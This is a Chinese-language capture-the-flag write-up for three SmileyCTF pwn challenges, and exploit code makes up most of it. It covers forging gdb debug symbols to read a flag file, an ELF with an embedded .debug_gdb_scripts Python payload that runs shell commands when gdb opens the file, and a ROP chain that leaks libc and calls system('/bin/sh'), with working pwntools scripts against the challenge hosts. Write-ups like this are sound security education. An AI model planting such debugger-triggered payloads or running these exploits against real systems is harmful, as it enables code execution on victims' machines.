SmileyCTF
pwn/debuggable-1
题目的逻辑 run.py
#!/usr/bin/python3
from base64 import b64decode
from os import memfd_create, getpid, write, environ
from subprocess import run
import builtins
def print(*args, **kwargs):
builtins.print(*args, **kwargs, flush=True)
data = input("elf: ").strip()
elf = b64decode(data)
print("got elf")
pid = getpid()
fd = memfd_create("elf")
write(fd, elf)
tmp = f"/proc/{pid}/fd/{fd}"
env = environ.copy()
env["HOME"] = "/home/ubuntu"
handle = run(["gdb", tmp, "-ex", "list '/app/flag.txt'", "-ex", "q"], capture_output=True, check=True, encoding="utf-8", env=env, input="")
print(handle.stdout)
print("bye")
gdb中的list command会读取二进制文件的调试符号,根据调试符号的信息去查找对应的源文件名,并显示指定行号或者函数周围的代码。
可以通过伪造 “/app/flag.txt” 函数的符号去读取/app/flag.txt来获取flag
exploit.s
.file 1 "/app/flag.txt"
# 定义 "/app/flag.txt" 函数
.globl "/app/flag.txt"
.type "/app/flag.txt", @function
"/app/flag.txt":
# "/app/flag.txt" 函数的源码位于 /app/flag.txt
.loc 1 1 0
ret
.globl _start
_start:
nop
compile.sh
as --gstabs -o exploit.o exploit.s
ld -o exploit exploit.o
exp.py
from pwn import *
from base64 import b64encode
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "smiley.cat"
PORT = 42699
def connect():
return remote(IP, PORT) if not is_debug else process()
## gdb.attach(p)
g = lambda x: gdb.attach(x)
## send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
## recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
elf = None
with open('./exploit','rb') as f:
elf = b64encode(f.read())
sla("elf:",elf)
p.interactive()
成功将远程的flag.txt读出来了

pwn/debuggable-2
run.py
#!/usr/bin/python3
from base64 import b64decode
from os import memfd_create, getpid, write, environ
from subprocess import run
import builtins
def print(*args, **kwargs):
builtins.print(*args, **kwargs, flush=True)
data = input("elf: ").strip()
elf = b64decode(data)
print("got elf")
pid = getpid()
fd = memfd_create("elf")
write(fd, elf)
tmp = f"/proc/{pid}/fd/{fd}"
env = environ.copy()
env["HOME"] = "/home/ubuntu"
handle = run(["gdb", tmp, "-ex", "q"], capture_output=True, check=True, encoding="utf-8", env=env, input="")
print(handle.stdout)
print("bye")
https://sourceware.org/gdb/current/onlinedocs/gdb.html/dotdebug_005fgdb_005fscripts-section.html
gdb在加载elf文件的时候,会去查找一个叫.debug_gdb_scripts
的节,如果存在的话就会根据节中的内容加载脚本,有一个叫SECTION_SCRIPT_ID_PYTHON_TEXT
的类型,允许将python插入条目本身,gdb加载的时候就会执行插入的python脚本。
所以只需要利用这个特性,往里面插入 os.system()就能执行系统命令
exploit.c
void main() {
asm(
".pushsection \".debug_gdb_scripts\", \"MS\",@progbits,1\n"
".byte 4\n"
".ascii \"get_shell.py\\n\"\n"
".ascii \"import os\\n\"\n"
".ascii \"os.system(\\\"cat /app/flag.txt\\\")\\n\"\n"
".byte 0\n"
".popsection\n"
);
}
成功将远程flag读出来了

pwn/babyrop
glibc 2.39 FULL RELRRO.

高版本glibc csu init变成动态链接的,基本上没有能直接修改寄存器的gadget
程序提供了一个gadget,这个gadget只能修改rcx寄存器,似乎是用来调rsp的。暂且没什么用

在 0x401193的位置有一个gadget,只要能控制[rbp-0x18]的值就能实现往任意地址写入0x2bc大小的数据

一开始想的是先栈迁移到bss段上,利用0x401193的gadget gadget往 _IO_2_1_stdout中写数据然后打ioleak泄露libc的,但是因为一些奇奇怪怪的原因leak不出来
后面就直接用这段gadget,控制rbp去泄露地址了。用这个gadget有个问题是call完puts后会leave ret,要保证rbp - 0x20 + 0x10后面衔接rop链。

所以利用思路是
栈迁移到bss -> 往puts指针 + 0x10 + 0x8 后面写syscall read并且栈迁移的rop链 -> 控制rbp调用puts泄露puts指针的地址 经过leave ret后到先前写的rop链的位置 -> 往bss写 getshell的rop链,然后再栈迁移过去getshell
第三次栈迁移,尽可能往bss的高地址去迁移,因为system binsh需要一个很大的栈空间
exp
from pwn import *
# from LibcSearcher import *
# import itertools
# import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "smiley.cat"
PORT = 44385
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
## gdb.attach(p)
g = lambda x: gdb.attach(x)
## send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)
## recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
leave_ret = 0x00000000004011cd
gets = 0x401205 # gets(rbp - 0x20)
rbp = 0x000000000040115d # pop rbp ret
read = 0x401193 # read(0,[rbp - 0x18],0x2bc)
puts = 0x401211 # puts(rbp - 0x20)
stdout = 0x404018
bss = 0x404000
payload = b'a' * 0x20 + p64(0x404150) + p64(gets)
# rbp = 0x404150
# gets(0x404130)
sl(payload)
time.sleep(1)
# # 0x404130 0x404158 0x404160 0x404168
payload = p64(0x404020) * 5 + p64(rbp) + p64(0x404168) + p64(read) + p64(rbp) + p64(0x404010 + 0x20) + p64(puts)
sl(payload)
# read(0,0x404020,0x2bc)
time.sleep(1)
# 0x404020 0x404038 0x404040 0x404048
payload = p64(0x404B00) * 3 + p64(rbp) + p64(0x404048) + p64(read) + p64(rbp) + p64(0x404B00 - 0x8) + p64(leave_ret)
sl(payload)
rl()
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7d4c03a87be0 - 0x7d4c03a00000)
success(hex(libc_base))
rdi = libc_base + 0x000000000010f75b
rsp = libc_base + 0x000000000003c068
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a
time.sleep(1)
payload = p64(rbp) + p64(0x404B00) + p64(rdi) + p64(binsh) + p64(system)
# g(p)
sl(payload)
p.interactive()